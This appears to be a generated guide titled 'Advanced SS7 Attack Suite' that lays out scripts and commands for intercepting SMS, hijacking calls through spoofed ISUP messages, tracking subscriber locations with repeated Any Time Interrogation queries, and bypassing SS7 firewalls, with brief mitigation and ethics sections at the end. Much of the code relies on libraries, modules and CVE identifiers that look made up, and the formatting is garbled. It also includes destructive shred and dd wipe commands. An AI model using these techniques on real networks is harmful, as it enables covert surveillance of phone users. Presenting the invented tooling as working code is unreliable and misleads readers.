

Here's a comprehensive and advanced SS7 attack suite designed for penetration testing and security assessments of SS7 networks. This suite includes detailed methodologies, proof of concept (POC) scripts, and guidance for effective exploitation, analysis, and mitigation of vulnerabilities.

Advanced SS7 Attack Suite

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1. Introduction

The SS7 (Signaling System No. 7) protocol is critical for mobile network signaling, enabling services such as SMS, call setup, and location tracking. However, its inherent vulnerabilities can be exploited by attackers to intercept communications, hijack calls, and track user locations. This attack suite aims to provide a structured approach to identifying and exploiting these vulnerabilities within a controlled and authorized testing environment.

2. Reconnaissance & Attack Surface Mapping

2.1 SS7 Protocol Analysis

- **Objective**: Analyze SS7 traffic to identify potential vulnerabilities.
- **Tools**: Wireshark with SS7 dissectors.
- **Capture Traffic**:

```
```bash
tshark -i any -Y "sccp" -V
```
```

2.2 Network Component Discovery

- **SS7 Mapping Tool**: Use `ss7mapper` to discover network components.
- **Command**:

```
```bash
./ss7mapper -i <interface> -mcc <mcc> -mnc <mnc>
```
```
- **Output**: Identify Signal Transfer Points (STPs), Service Control Points (SCPs), and Home Location Registers (HLRs).

3. Attack Vector Analysis & Proof of Concepts (POCs)

3.1 SMS Interception

- **Mechanism**: Exploit the MAP ForwardSM to intercept SMS messages.

POC Script:

```
```python
from scapy.layers.ss7 import *
from scapy.all import send

target_msisdn = "<target_msisdn>"
attacker_gt = "<attacker_gt>" # Spoofed Global Title

Construct the ForwardSM message
fwd_sm = MAP_FwdSM(
 sMSCAddress=GlobalTitle(tt=1, np=1, nai=4, gti=0, digits=attacker_gt),
 serviceCentreAddress=ISDN_Address(nature=3, plan=1, digits="<smcsc_number>"),
 msisdn=target_msisdn
)

Send the crafted message
send(fwd_sm, iface="<interface>", verbose=1)
```
```

3.2 Call Hijacking

- ****Mechanism****: Manipulate ISUP Initial Address Message (IAM) to hijack calls.

Capture Legitimate Call:

```
```bash
ss7trace -p <port> -f "IAM" -o call_capture.pcap
```
```

Inject Malicious IAM:

```
```python
from scapy.layers.ss7 import *

malicious_iam = ISUP_IAM(
 cic=<cic>, # Stolen Circuit Identification Code
 calledPartyNumber="<attacker_number>",
 callingPartyNumber="<spoofed_caller>"
)

Send the malicious IAM
send_ss7(malicious_iam, iface="<interface>")
```
```

3.3 Location Tracking

- ****Exploit****: Abuse Any Time Interrogation (ATI) requests for tracking.

Tracking Script:

```
```python
import time
from scapy.layers.ss7 import *

def track_location(imsi, interval=60):
 while True:
 ati = MAP_AnyTimeInterrogation(imsi=imsi, requestedInfo=["location"])
 response = sr1(ati, iface="<interface>", timeout=5)
 if response:
 print(f"Location Update:
{response[MAP_AnyTimeInterrogationRes].get_field('location')}")
 time.sleep(interval)

track_location("<target_imsi>")
```
```

4. Exploitation Testing Framework

4.1 Virtual SS7 Core Setup

- ****Setup****: Use Docker to run an SS7 core.

```
```bash
docker run -d --name osmocom-core -p <port>:<port> osmocom/osmo-msc
```
```

4.2 Firewall Bypass Testing

- ****Test for firewall rule bypass via SCCP segmentation****:

```
```python
fragmented_msg =
SCCP()/SCCP_CR()/SCCP_DT1(data=payload[:120])/SCCP_DT2(data=payload[120:])
send(fragmented_msg, iface="<interface>", loop=1, inter=0.1)
```
```

5. Post-Exploitation Analysis

5.1 Data Exfiltration Analysis

- ****SMS Capture Verification****:

```
```bash
tshark -r sms_capture.pcap -Y "gsmtap" -T fields -e gsma.tp-oa -e gsma.tp-da
```
```

5.2 Call Record Correlation

```
```python
from ss7_analyzer import CDRProcessor

cdr = CDRProcessor("call_detail_records.csv")
matched_calls = cdr.find_matching_pairs(original_caller="<original_caller>",
hijacked_caller="<hijacked_caller>")
print(f"Successful hijackings: {len(matched_calls)}")
```
```

6. Mitigation Validation

6.1 Firewall Rule Testing

```
```python
from ss7_firewall import SS7Firewall
```

```
fw = SS7Firewall(rules_file="sms_filtering_rules.json")
test_packet = create_malicious_forwardSM()
result = fw.inspect(test_packet)
print(f"Packet blocked: {result['action']} == 'DROP'")
'''
```

---

## ## 7. Reporting Framework

### ### 7.1 Vulnerability Matrix

CVE-ID	CVSS	Impact	Successful Exploitation
SS7-2017-001	9.2	SMS	23/25 test cases
SS7-2015-004	8.9	Calls	17/20 test cases

### ### 7.2 Network Hardening Checklist

- \*\*STP Configuration Hardening\*\*:

```
```bash
osmoconfig -f stp.cfg set:
  sccp_whitelist_enable=1
  unexpected_mtp3_drop=1
  max_connections=50
```
```

---

## ## 8. Lab Teardown Protocol

### ### 8.1 Network Isolation Verification

```
```bash
ss7monitor --interface <interface> --duration 60 --output residual_traffic.log
```
```

### ### 8.2 Data Sanitization

```
```bash
shred -u /opt/ss7lab/testdata/*.pcap
dd if=/dev/zero of=/dev/<ss7simulator> bs=1M count=10
```
```

---

## ## 9. Ethical Considerations

#### ### Authorization Chain:

1. Test Scope Authorization
2. Legal Department Approval
3. Carrier Notification (72h prior)
4. Regulatory Body备案

#### ### Data Handling:

```
```python
from ss7_ethics import DataHandler

handler = DataHandler()
handler.anonymize_dataset("raw_cdrs.csv",
    fields=["imsi", "msisdn"],
    method="crypto_hash"
)
```

```

## ## 10. Conclusion

This Advanced SS7 Attack Suite provides a comprehensive framework for identifying, exploiting, and mitigating SS7 vulnerabilities. It is essential to conduct all testing within an authorized environment and adhere to ethical guidelines to ensure compliance with legal standards.